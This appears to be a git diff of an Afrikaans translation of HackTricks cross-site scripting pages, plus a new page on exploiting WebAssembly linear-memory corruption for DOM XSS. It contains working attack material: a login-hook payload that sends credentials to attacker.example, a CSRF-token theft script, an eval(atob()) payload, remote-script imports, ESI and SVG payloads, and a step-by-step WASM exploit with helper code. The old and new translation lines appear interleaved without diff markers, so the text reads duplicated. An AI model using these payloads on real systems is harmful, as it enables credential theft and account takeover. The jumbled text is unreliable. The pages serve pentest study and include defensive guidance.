Indien 'n kritieke handler (e.g., `function DoLogin(){...}`) later op die bladsy gedefinieer word, en jou payload vroeër loop (e.g., via an inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler te preëmpt en te vergrendel. Later funksie-deklarasies kan nie 'n `const`-naam herbind nie, wat jou hook in beheer laat:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1435,20 +1446,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
};
```
Aantekeninge
- Dit berus op uitvoeringsvolgorde: jou injectie moet uitgevoer word voor die legitieme deklarasie.
- As jou payload in `eval(...)` ingesluit is, sal `const/let` bindings nie globals word nie. Gebruik die dinamiese `<script>`-invoegingstegniek uit die afdeling “Deliverable payloads with eval(atob()) and scope nuances” om 'n werklike globale, nie-herskryfbare binding te verseker.
- Wanneer sleutelwoordfilters kode blokkeer, kombineer met Unicode-gescapeerde identifiseerders of `eval(atob('...'))` aflewering, soos hierbo getoon.
- Dit berus op uitvoeringsorde: jou injection moet uitgevoer word voordat die regmatige verklaring.
- Indien jou payload in `eval(...)` toegedraai is, sal `const/let` bindings nie globals word nie. Gebruik die dinamiese `<script>` injection-tegniek uit die afdeling “Deliverable payloads with eval(atob()) and scope nuances” om 'n werklike globale, nie-herbindbare binding te verseker.
- Wanneer sleutelwoordfiltreerders kode blokkeer, kombineer dit met Unicode-escaped identifiers of `eval(atob('...'))` aflewering, soos hierbo getoon.
### Keylogger
Ek het net op github gesoek en 'n paar verskillende gevind:
Net deur op github te soek het ek 'n paar verskillende gevind:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Jy kan ook metasploit `http_javascript_keylogger` gebruik
### Stealing CSRF tokens
### Diefstal van CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
@ -1559,9 +1570,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Toegang tot Verborgen Inhoud
### Regex - Toegang tot Verborge Inhoud
Uit [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuutwaardes in verskillende objekte te vind. Byvoorbeeld, 'n input van 'n REGEX kan steeds gevind word nadat die waarde van die input van die regex verwyder is:
Uit [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS attributes in verskillende objects te vind. Byvoorbeeld, 'n input van 'n REGEX kan steeds gevind word nadat die waarde van die input van die regex verwyder is:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1585,11 +1596,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Misbruik van ander kwesbaarhede
## XSS wat ander kwesbaarhede misbruik
### XSS in Markdown
Kan inject Markdown code wat gerender sal word? Miskien kan jy XSS kry! Kyk:
Kan jy Markdown-kode inspuit wat gerender sal word? Miskien kan jy XSS kry! Kyk:
{{#ref}}
@ -1598,24 +1609,24 @@ xss-in-markdown.md
### XSS na SSRF
Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer dit **opgradeer na SSRF** deur Edge Side Include Injection met hierdie payload:
Het jy XSS op 'n **site wat caching gebruik**? Probeer dit **opgradeer na SSRF** deur Edge Side Include Injection met hierdie payload:
```python
<esi:include src="http://yoursite.com/capture" />
```
Gebruik dit om cookie-beperkings, XSS filters en nog meer te omseil!\
Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
Gebruik dit om cookie restrictions, XSS filters en veel meer te omseil!\
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS in dinamies gegenereerde PDF
As 'n webblad 'n PDF skep met invoer wat deur die gebruiker beheer word, kan jy probeer om die **bot** wat die PDF skep te **mislei** sodat dit **arbitrêre JS-kode uitvoer**.\
Dus, as die **PDF creator bot vind** 'n soort **HTML** **tags**, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
As 'n webbladsy 'n PDF skep met user controlled input, kan jy probeer om die **bot** wat die PDF skep te **mislei** om **willekeurige JS code** uit te voer.\
Dus, as die **PDF creator bot** sekere **HTML** **tags** vind, sal dit hulle **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
As jy nie HTML tags kan inject nie, kan dit die moeite werd wees om te probeer **inject PDF data**:
As jy nie HTML tags kan injekteer nie, kan dit die moeite werd wees om te probeer om **PDF data te injekteer**:
{{#ref}}
@ -1624,15 +1635,15 @@ pdf-injection.md
### XSS in Amp4Email
AMP, bedoel om webbladprestasie op mobiele toestelle te versnel, bevat HTML tags aangevul deur JavaScript om funksionaliteit te verseker met 'n klem op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, gerig op die versnelling van webbladprestasie op mobiele toestelle, sluit HTML tags in wat met JavaScript aangevul word om funksionaliteit te verseker met 'n klem op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP components](https://amp.dev/documentation/components/?format=websites).
Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk binne hul e-posse met inhoud te interakteer.
Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei sekere AMP-komponente uit na e-pos, en stel ontvangers in staat om direk binne hul e-posse met inhoud te interageer.
Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS deur lêers op te laai (svg)
Laai as 'n beeld 'n lêer op soos die volgende een (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
Laai 'n lêer as 'n beeld op soos die volgende een (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1690,7 +1701,7 @@ id="foo"/>
```
Vind **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Verskeie JS-wenke & relevante inligting
## Verskeie JS Wenke & Relevante Inligting
{{#ref}}

133
src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md Normal file
View File

@ -0,0 +1,133 @@
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
Hierdie tegniek wys hoe 'n geheue-korrupsie-bug binne 'n WebAssembly (WASM) module wat met Emscripten saamgestel is, benut kan word tot 'n betroubare DOM XSS selfs wanneer insette gesaneer is. Die skuif is om skryfbare konstantes in WASM linear memory (bv. HTML format templates) te korrupteer in plaas daarvan om die gesaneerde bronteksstring aan te val.
Sleutelidee: In die WebAssembly-model woon kode in nie-skatbare uitvoerbare bladsye, maar die module se data (heap/stack/globals/"constants") woon in 'n enkele plat linear memory (bladsye van 64KB) wat deur die module geskryf kan word. As foutiewe C/C++ kode buite-grense skryf, kan jy aangrensende objekte en selfs konstante stringe wat in linear memory ingebed is, oorskryf. Wanneer so 'n konstante later gebruik word om HTML te bou vir invoeging via 'n DOM sink, kan jy gesaniteerde insette in uitvoerbare JavaScript omskakel.
Dreigmodel en voorvereistes
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
Minimal vulnerable data model (example)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Kwetsbare logika‑patroon
- addMsg(): allocates a new buffer sized to the sanitized input and appends a msg to s.mess, doubling capacity with realloc when needed.
- editMsg(): re‑sanitiseer en memcpy die nuwe bytes in die bestaande buffer sonder om te verseker dat die nuwe lengte ≤ ou toewysing → intra‑linear‑memory heap overflow.
- populateMsgHTML(): formateer die gesaniteerde teks met 'n ingeslote stub soos "<article><p>%.*s</p></article>" wat in linear memory woon. Die teruggegewe HTML beland in 'n DOM sink (bv. innerHTML).
Allocator grooming with realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Stuur genoeg boodskappe om die aanvanklike kapasiteit te oorskry. Na groei plaas realloc() dikwels s->mess onmiddellik ná die laaste user buffer in linear memory.
- Overflow the last message via editMsg() to clobber fields inside s->mess (e.g., overwrite msg_data pointers) → arbitrary pointer rewrite within linear memory for data later rendered.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization beskerm input, nie sinks nie. Vind die format stub wat deur populateMsgHTML() gebruik word, e.g.:
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
- Lokaliseer die stub deterministies deur linear memory te scan; dit is 'n plain byte string binne Module.HEAPU8.
- Nadat jy die stub overwrite, word sanitized message content die JavaScript handler vir onerror, so deur 'n nuwe message by te voeg met teks soos alert(1337) kry jy <img src=1 onerror=alert(1337)> wat onmiddellik in die DOM uitgevoer word.
Chrome DevTools workflow (Emscripten glue)
- Break on the first Module.cwrap call in the JS glue and step into the wasm call site to capture pointer arguments (numeric offsets into linear memory).
- Gebruik typed views soos Module.HEAPU8 om WASM memory vanaf die console te lees/skryf.
- Hulpsnippets:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
End-to-end exploitation recipe
1) Groom: voeg N klein boodskappe by om realloc() te aktiveer. Verseker dat s->mess langs 'n gebruikersbuffer lê.
2) Overflow: roep editMsg() op die laaste boodskap aan met 'n langer payload om 'n inskrywing in s->mess oor te skryf, en stel msg_data van message 0 in om na (stub_addr + 1) te wys. Die +1 slaan die voorste '<' oor om tag-belyning tydens die volgende edit ongeskaad te laat.
3) Template rewrite: wysig message 0 sodat sy bytes die template oor skryf met: "img src=1 onerror=%.*s ".
4) Trigger XSS: voeg 'n nuwe boodskap by waarvan die gesaniteerde inhoud JavaScript is, byv. alert(1337). Rendering stuur <img src=1 onerror=alert(1337)> uit en voer dit uit.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Waarom hierdie omseiling werk
- WASM verhoed kode-uitvoering vanaf lineêre geheue, maar konstante data binne die lineêre geheue is skryfbaar as programlogika foutief is.
- Die sanitizer beskerm slegs die bronstreng; deur die sink (die HTML template) te korrupteer, word die gesaniteerde invoer die JS handler-waarde en voer uit wanneer dit in die DOM ingesit word.
- realloc()-driven nabyskheid plus ongekontroleerde memcpy in edit flows maak pointerkorruptie moontlik om skrywings te herlei na deur die aanvaller gekose adresse binne die lineêre geheue.
Generalisering en ander aanvaloppervlak
- Enige in-geheue HTML template, JSON skeleton, of URL pattern ingebed in die lineêre geheue kan geteiken word om te verander hoe gesaniteerde data later geïnterpreteer word.
- Ander algemene WASM-valstrikke: out-of-bounds writes/reads in lineêre geheue, UAF op heap objects, function-table misuse met ongekontroleerde indirect call indices, en JS↔WASM glue mismatches.
Verdedigingsriglyne
- In edit-paadjies, verifieer nuwe lengte ≤ kapasiteit; verander buffer-grootte voor kopieer (realloc na new_len) of gebruik grootte-beperkte APIs (snprintf/strlcpy) en hou kapasiteit by.
- Hou onveranderlike templates buite die skryfbare lineêre geheue of voer 'n integriteitskontrole op hulle uit voor gebruik.
- Behandel JS↔WASM-grense as onbetroubaar: valideer pointer-bereike/lengtes, fuzz geëksporteerde interfaces, en beperk geheuegroei.
- Sanitize by die sink: vermy om HTML in WASM te bou; verkies veilige DOM APIs bo innerHTML-style templating.
- Vermy om op URL-embedded state te vertrou vir privileged flows.
## References
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}